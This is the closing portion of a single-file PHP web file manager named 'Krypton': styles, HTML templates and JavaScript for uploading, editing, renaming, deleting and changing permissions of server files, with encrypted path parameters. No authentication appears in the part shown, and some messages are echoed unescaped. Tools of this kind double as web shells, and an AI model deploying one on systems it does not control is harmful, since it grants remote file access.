box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
}
.modal-content.modal-lg {
max-width: 800px;
height: 80%;
display: flex;
flex-direction: column;
}
.modal-title {
font-size: 1.2rem;
margin-bottom: 15px;
font-weight: 500;
}
.modal-form {
display: flex;
flex-direction: column;
gap: 15px;
}
.editor-form {
display: flex;
flex-direction: column;
gap: 15px;
flex-grow: 1;
}
.form-group {
display: flex;
flex-direction: column;
gap: 5px;
}
.form-group label {
font-weight: 500;
}
.form-group input {
padding: 8px 12px;
border: 1px solid #ddd;
border-radius: 4px;
}
.form-group textarea {
flex-grow: 1;
padding: 12px;
border: 1px solid #ddd;
border-radius: 4px;
font-family: 'Courier New', monospace;
font-size: 14px;
resize: none;
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 10px;
margin-top: 20px;
}
.btn-cancel {
background-color: #f0f0f0;
color: #333;
}
.btn-cancel:hover {
background-color: #e0e0e0;
}
/* Alerts */
.alert {
padding: 12px 15px;
margin-bottom: 15px;
border-radius: 4px;
font-weight: 500;
}
.alert-success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.alert-warning {
background-color: #fff3cd;
color: #856404;
border: 1px solid #ffeeba;
}
/* Footer */
.footer {
text-align: center;
padding: 20px 0;
color: #777;
font-size: 0.9rem;
}
/* Loading overlay */
.loading-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 2000;
justify-content: center;
align-items: center;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid #f3f3f3;
border-top: 5px solid #3498db;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
/* Responsive design */
@media (max-width: 768px) {
.upload-form {
flex-direction: column;
align-items: stretch;
}
.upload-form input[type="file"] {
width: 100%;
}
.action-buttons {
flex-wrap: wrap;
}
.section-header {
flex-direction: column;
align-items: flex-start;
gap: 10px;
}
.section-actions {
width: 100%;
}
.btn {
width: 100%;
}
}
</style>
</head>
<body>
<!-- Loading Overlay -->
<div id="loadingOverlay" class="loading-overlay">
<div class="spinner"></div>
</div>
<!-- Navigation Bar -->
<nav class="navbar">
<div class="container navbar-content">
<h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
<div class="navbar-actions">
<button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
<span class="home-icon">🏠</span> Home
</button>
</div>
</div>
</nav>
<div class="container">
<!-- Alerts -->
<?php if (!empty($encryptionKeyWarning)): ?>
<div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
<?php endif; ?>
<?php if (!empty($success)): ?>
<div class="alert alert-success"><?php echo $success; ?></div>
<?php endif; ?>
<?php if (!empty($error)): ?>
<div class="alert alert-error"><?php echo $error; ?></div>
<?php endif; ?>
<!-- Breadcrumb Navigation -->
<div class="breadcrumb">
<?php foreach ($breadcrumbs as $index => $crumb): ?>
<?php if ($index > 0): ?>
<span class="breadcrumb-separator">›</span>
<?php endif; ?>
<div class="breadcrumb-item">
<?php if ($index === count($breadcrumbs) - 1): ?>
<span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
<?php else: ?>
<a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<!-- Upload Section -->
<section class="section">
<h2 class="section-title">Upload Files</h2>
<form class="upload-form" method="post" enctype="multipart/form-data">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="file" name="file">
<button type="submit" name="upload" class="btn">Upload File</button>
</form>
</section>
<!-- File List Section -->
<section class="section">
<div class="section-header">
<h2 class="section-title">Files</h2>
<div class="section-actions">
<button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
<button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
</div>
</div>
<div class="file-table-container">
<table class="file-table">
<thead>
<tr>
<th>Filename</th>
<th>Size</th>
<th>Permissions</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<!-- Parent directory link -->
<?php if ($currentPath !== '/'): ?>
<tr>
<td>
<div class="file-name">
<span class="folder-icon"></span>
<a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
</div>
</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<!-- File list -->
<?php foreach ($items as $item): ?>
<tr>
<td>
<div class="file-name">
<span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
<?php if ($item['isDirectory']): ?>
<a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($item['name']); ?>
<?php endif; ?>
</div>
</td>
<td><?php echo $item['size']; ?></td>
<td><?php echo $item['permissions']; ?></td>
<td><?php echo $item['lastModified']; ?></td>
<td>
<div class="action-buttons">
<?php if (!$item['isDirectory']): ?>
<button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
<?php if ($item['isEditable']): ?>
<button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
<?php endif; ?>
<?php endif; ?>
<button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
<button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
<form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
<button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</section>
<footer class="footer">
Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
</footer>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="renameOldPath" name="oldPath" value="">
<div class="form-group">
<label for="renameNewName">New Name:</label>
<input type="text" id="renameNewName" name="newName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
<button type="submit" name="rename" class="btn">Rename</button>
</div>
</form>
</div>
</div>
<!-- Permissions Modal -->
<div id="permissionsModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="permissionsPath" name="permPath" value="">
<div class="form-group">
<label for="permissionsOctal">Permissions (Octal):</label>
<input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
<button type="submit" name="changePermissions" class="btn">Apply</button>
</div>
</form>
</div>
</div>
<!-- Edit File Modal -->
<div id="editFileModal" class="modal">
<div class="modal-content modal-lg">
<h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
<form class="editor-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="editFilePath" name="filePath" value="">
<div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
<textarea id="fileContent" name="fileContent" required></textarea>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
<button type="submit" name="saveFile" class="btn">Save</button>
</div>
</form>
</div>
</div>
<!-- Create File Modal -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New File</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFileName">File Name:</label>
<input type="text" id="newFileName" name="newFileName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
<button type="submit" name="createFile" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div id="createFolderModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New Folder</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFolderName">Folder Name:</label>
<input type="text" id="newFolderName" name="newFolderName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
<button type="submit" name="createFolder" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Hidden form for navigation -->
<form id="navigationForm" method="post" style="display: none;">
<input type="hidden" name="action" value="navigate">
<input type="hidden" id="navigationPath" name="path" value="">
</form>
<!-- Hidden form for download -->
<form id="downloadForm" method="post" style="display: none;">
<input type="hidden" name="action" value="download">
<input type="hidden" id="downloadPath" name="path" value="">
</form>
<script>
// Show loading overlay
function showLoading() {
document.getElementById('loadingOverlay').style.display = 'flex';
}
// Hide loading overlay
function hideLoading() {
document.getElementById('loadingOverlay').style.display = 'none';
}
// Navigation function
function navigateTo(path) {
showLoading();
document.getElementById('navigationPath').value = path;
document.getElementById('navigationForm').submit();
}
// Download function
function downloadFile(path) {
document.getElementById('downloadPath').value = path;
document.getElementById('downloadForm').submit();
}
// Show rename modal
function showRenameModal(path, name) {
document.getElementById('renameFileName').textContent = name;
document.getElementById('renameOldPath').value = path;
document.getElementById('renameNewName').value = name;
document.getElementById('renameModal').style.display = 'flex';
}
// Show permissions modal
function showPermissionsModal(path, name) {
document.getElementById('permissionsFileName').textContent = name;
document.getElementById('permissionsPath').value = path;
document.getElementById('permissionsModal').style.display = 'flex';
}
// Show edit file modal
function showEditFileModal(path, name) {
document.getElementById('editFileName').textContent = name;
document.getElementById('editFilePath').value = path;
showLoading();
// Fetch file content using POST
const formData = new FormData();
formData.append('action', 'getContent');
formData.append('path', path);
fetch(window.location.pathname, {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(content => {
document.getElementById('fileContent').value = content;
document.getElementById('editFileModal').style.display = 'flex';
hideLoading();
})
.catch(error => {
hideLoading();
alert('Error loading file content: ' + error);
});
}
// Show create file modal
function showCreateFileModal() {
document.getElementById('newFileName').value = '';
document.getElementById('createFileModal').style.display = 'flex';
}
// Show create folder modal
function showCreateFolderModal() {
document.getElementById('newFolderName').value = '';
document.getElementById('createFolderModal').style.display = 'flex';
}
// Hide modal
function hideModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
// Close modals when clicking outside
window.onclick = function(event) {
if (event.target.className === 'modal') {
event.target.style.display = 'none';
}
}
// Add loading indicator to form submissions
document.addEventListener('DOMContentLoaded', function() {
const forms = document.querySelectorAll('form');
forms.forEach(form => {
form.addEventListener('submit', function() {
// Don't show loading for the navigation and download forms
if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
showLoading();
}
});
});
});
</script>
</body>
</html>